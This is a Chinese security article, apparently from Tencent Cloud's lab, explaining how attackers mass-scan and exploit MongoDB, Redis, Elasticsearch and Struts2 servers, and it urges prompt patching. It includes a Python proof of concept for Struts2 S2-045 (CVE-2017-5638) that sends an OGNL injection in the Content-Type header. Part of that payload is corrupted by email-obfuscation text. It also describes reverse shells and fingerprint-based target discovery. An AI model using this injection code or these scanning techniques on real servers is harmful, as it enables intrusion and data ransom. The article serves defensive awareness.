每一次重要通用漏洞的爆發總是會帶來一片腥風血雨,任何微小的漏洞,基於43億IPv4地址這個大基數,總是可以被放大!

從MongoDB開始到MySQL,黑客瞄準了資料庫服務,通過黑客手段獲取資料庫服務的許可權,然後刪除資料,在資料庫中插入勒索資訊,要求支付比特幣以贖回資料(具體可見相關推薦)。那麼黑客是如何實現這整個過程?

MongoDB勒索事件

在MongoDB的勒索事件裡,黑客攻擊通過攻擊存在未授權訪問問題的MongoDB資料庫,加密原資料內容,在資料庫中插入勒索資訊,要求支付比特幣以贖回資料。(具體可見雷鋒網的報道)

在這個事件中,我們來還原下黑客是怎麼實現這個流程的:

大概是這樣一個流程,通過探測網際網路上符合的目標,然後使用對應的攻擊指令碼針對探測得到的目標實現自動化的攻擊。

而細化到具體的探測目標和Exp的功能,以MongoDB資料勒索這個例子,探測目標主要是探測網際網路上開放了27017埠的目標,然後進一步探測是否可以未授權直接連線目標:

而攻擊指令碼的功能大概是這樣的:

就MongoDB這個例子,主要是利用了MongoDB未授權訪問的這個問題;MongoDB預設安裝是沒有密碼的,並且沒有繫結IP,導致的問題就是外網可以訪問這些MongoDB,並且由於無需授權,就可以直接未授權訪問。

其實,這是一個自動漏洞批量利用的過程,不僅限於資料勒索,也不僅限於開始列的幾種資料服務的未授權訪問或者弱口令等安全問題,同樣其他漏洞也是可以的。

黑客如何利用漏洞

往往一些漏洞在爆發之後,沒多久就馬上會爆發出漏洞的PoC和Exp,比如最近的Struts2新漏洞S2-045(CVE-2017-5638),漏洞在3月6日爆出,而在3月7日也就是第二天,PoC和Exp已經滿天飛,就本次的漏洞來說,基本國內外大的網際網路公司基本沒有不受影響的;該漏洞可以導致命令執行,可以獲得系統許可權,在PoC和Exp出現的第一時間,已經基本是地上地下都在利用和掃描了。

import requests
import sys

def poc(url):
    payload = "%{(#test='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.getExcludedPackageNames().clear()). \    (#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#ros=(@[email protected]().getOutputStream())).(#ros.println(102*102*102*99)).(#ros.flush())}"
    headers = {}
    headers["Content-Type"] = payload
    r = requests.get(url, headers=headers)
    if "105059592" in r.content:
        return True
    return False

if __name__ == '__main__':
    if len(sys.argv) == 1:
        print "python s2-045.py target"
        sys.exit()
    if poc(sys.argv[1]):
        print "vulnerable"
    else:
        print "not vulnerable"

上面是這次S2-045的PoC,通過這些攻擊指令碼,黑客可以實現自動化的對漏洞進行利用

15年11月也出現過一個安全事件,就是有黑客團體利用Redis設計缺陷成功入侵了至少10000家的Redis伺服器(具體見nosec的報告)。在這個事件裡,黑客基於Redis未授權訪問問題,通過配合SSH Key的技巧批量的入侵了Redis伺服器。

視訊連結: https://imgcache.qq.com/tencentvideo_v1/playerv3/TPout.swf?max_age=86400&v=20161117&vid=n0363pw80m8&auto=0

上面的視訊是通過手動的方式演示瞭如何利用這個問題獲取伺服器的系統許可權,而往往這個過程黑客是通過自動化的手段進行的,下面是的視訊演示瞭如何通過工具自動化的獲取攻擊目標,利用PoC進行驗證是否存在Redis未授權訪問問題的。

視訊連結: https://imgcache.qq.com/tencentvideo_v1/playerv3/TPout.swf?max_age=86400&v=20161117&vid=t0382xsgnp4&auto=0

其實每一次爆發的漏洞對於相關黑客來說,利用的過程不外乎如此;還有個例子,之前國外有個團隊,捕獲了一個使用ElasticSearch漏洞構建的僵屍網路,利用ElasticSearch的漏洞,對ElasticSearch伺服器進行控制,整個僵屍網路最終可以用來進行DDOS攻擊(分析報告)。


經過跟蹤ElasticSearch公開的漏洞,他們發現,尤其在中國的相關論壇,CVE-2015-1427 被多次討論和引用,這是一個ElasticSearch Groovy 指令碼引擎的漏洞導致攻擊者可繞過沙箱檢查執行shell命令的命令執行漏洞。

這是個影響ElasticSearch 1.3.0-1.3.7以及1.4.0到1.4.2的漏洞,相關的PoC也就是漏洞驗證程式碼以及Exp都已經在網上公開,黑客可以利用這個漏洞,執行Shell命令,通過perl執行一個perl指令碼,來進行反彈shell,可以達到對伺服器的控制。

什麼是反彈shell呢?正常我們通過ssh連線linux等伺服器,是主動的方式連線,而反彈shell,shell其實跟我們通過ssh連線的shell沒什麼大的區別,而反彈的意思是,控制端通過一些軟體,比如nc,也就是netcat在控制端監聽某個埠,被控制端,比如說linux 伺服器,發起請求到該埠,並將其命令列的輸入輸出轉到控制端。

我們通過一個視訊來看下如何利用這個漏洞進行反彈shell來控制伺服器的:https://imgcache.qq.com/tencentvideo_v1/playerv3/TPout.swf?max_age=86400&v=20161117&vid=d0195jprwg1&auto=0

而其實黑客如何利用這個漏洞組建僵屍網路,也只是將這個利用過程自動化,批量化。

看到這我不知道大家是否可以發現,例子中黑客使用的漏洞都不是0DAY或者1DAY,應該算是NDAY(這裡的數字指距離漏洞爆發已過去的時間);其實,正如你所見,可能大家平時更多的覺得是0DAY的危害很大,但實際的情況是,0DAY更多的時候是作為一種最後的手段,並不是隨手就能有0DAY,大部分的這種批量的攻擊場景基本是NDAY,每次漏洞爆發,都有一大堆目標受影響,但這些受影響的目標,最終又有多少修復了漏洞,這就得另說了;實際的情況就是即使漏洞爆發過去很長時間,甚至一兩年的時間也仍有眾多的目標受影響,比如14年爆發出來的心臟出血漏洞,15年仍有眾多目標受影響,甚至包括一些安全廠商的裝置和知名網際網路公司的伺服器,甚至於現在去做檢測,也仍有存在漏洞的目標。

漏洞的利用與修復一直都是安全對抗中一個主要的工作內容!

如何獲取攻擊目標

在上面的內容我們介紹了很多黑客攻擊流程和黑客對漏洞的利用,但是似乎唯獨漏了黑客是哪裡得到這些攻擊目標的。其實在一開始的MongoDB的說明中已經大概提到了。

每一次重要通用漏洞的爆發總是會帶來一片腥風血雨,任何微小的漏洞,基於43億IPv4地址這個大基數,總是可以被放大!

不知道大家有沒有注意到引言的這段話,黑客的攻擊其實都是基於43億的IPv4而進行的,一個再小的漏洞,基於這個基數,那麼得到的可攻擊目標就不是一個小數。

最簡單粗暴的方式,就是拿著攻擊指令碼通過分散式、自動化的方式全部攻擊一遍,當然這個量就有點大,所以更合理的方式是探測符合的目標,比如MongoDB那個事件,需要探測存在MongoDB的伺服器,也就是探測埠27017開放的伺服器(MongoDB服務預設埠為27017,一般情況28017等情況也有可能,所以黑客在嘗試的時候可能不止探測27017這個埠),然後進一步的探測是否符合漏洞利用條件,就MongoDB的例子也就是需要是存在未授權訪問的情況,即不需要密碼並且可遠端連線。

類似MongoDB的埠27017其實就是指紋,黑客通過這些指紋去探測存在漏洞影響元件的伺服器,不同的元件和服務都有不同的指紋,比如同樣是通過埠的方式,那麼Redis也就是6379,M有SQL是3306,還有比如說"WWW-Authenticate: Basic realm="TD-8817"這個存在於HTTP頭部的指紋可以探測TP-Link TD-8817路由器;當然,不排除自定義的情況,但出於成本等方面的,一般黑客在攻擊的時候選擇忽略特殊的情況。通過探測出符合漏洞影響元件的目標後,這些目標就成為攻擊指令碼執行的目標。

除了指紋探測服務或者元件的存在與否,也可以進一步探測安裝的元件的版本是否在漏洞影響的版本範圍內,以此來縮小最終要使用攻擊指令碼進行攻擊的目標範圍。精確的指紋和版本資訊,可以縮小需要攻擊的目標範圍,從而減少攻擊成本。

其實,通過指紋的方式對於相關目標進行服務和元件的探測,國內外已經有一些安全平臺,比如ZoomEye(https://www.zoomeye.org )、撒旦(https://www.shodan.io/ ,如下圖搜尋MySQL服務的目標)等,大家如果想嘗試,可以直接訪問去搜索相關元件的目標,比如"app:wordpress" 在ZoomEye上搜索Wordpress搭建的站點;在Redis那個未授權訪問問題的自動化演示的視訊中,其實就是呼叫了ZoomEye的API來獲取存在Redis服務的目標。

當然,看到這些平臺,你可能第一時間想到的是幫助了攻擊者,這個具體怎麼看待把,因為這些平臺的初衷肯定不是如此,就像早期的電腦到底是好是壞的討論一樣;在相關黑客的手裡其實也存在這樣的平臺,或者就是通過指令碼直接根據不同的漏洞對43億IPv4或者其他已知目標列表進行探測,然後自動化的攻擊。

講到最後,其實大家可以發現,不僅僅是資料勒索,這其實更多的是一種通用的漏洞自動化攻擊利用的流程,唯一的區別在不同的漏洞能夠獲取的許可權不同,對應的在獲取到許可權後能做的事也不同,所以就存在對應的利用,比如資料勒索,比如元件僵屍網路用於DDoS,比如用來挖礦,還比如批量黑了路由器進行DNS劫持等。

在企業的安全風險的不同維度裡,通用漏洞一直是個棘手的問題,因為你沒法事先知道問題,只能在漏洞爆發的時候第一時間去修復漏洞,所以,儘可能的選擇一些靠譜的元件,多關注安全,加強漏洞和安全的應急響應,避免由此導致的安全風險!

騰訊云云鼎實驗室:重點關注騰訊雲安全體系建設,雲主機與雲內流量的安全研究和安全運營,以及雲端APP安全方案和虛擬化安全技術研究,向行業提供威脅情報、態勢感知以及專家服務(安全評估、應急響應、安全諮詢)等。

相關推薦

MySQL成勒索新目標,資料服務基線安全問題迫在眉睫
騰訊雲安全解決方案相關文件

此文已由騰訊云云鼎實驗室授權騰訊雲技術社群釋出,轉載請註明文章出處,獲取更多雲計算技術乾貨,可請前往騰訊雲技術社群,當然我們也會在部落格園持續同步更新~

微信公眾號:騰訊雲技術社群( QcloudCommunity)

.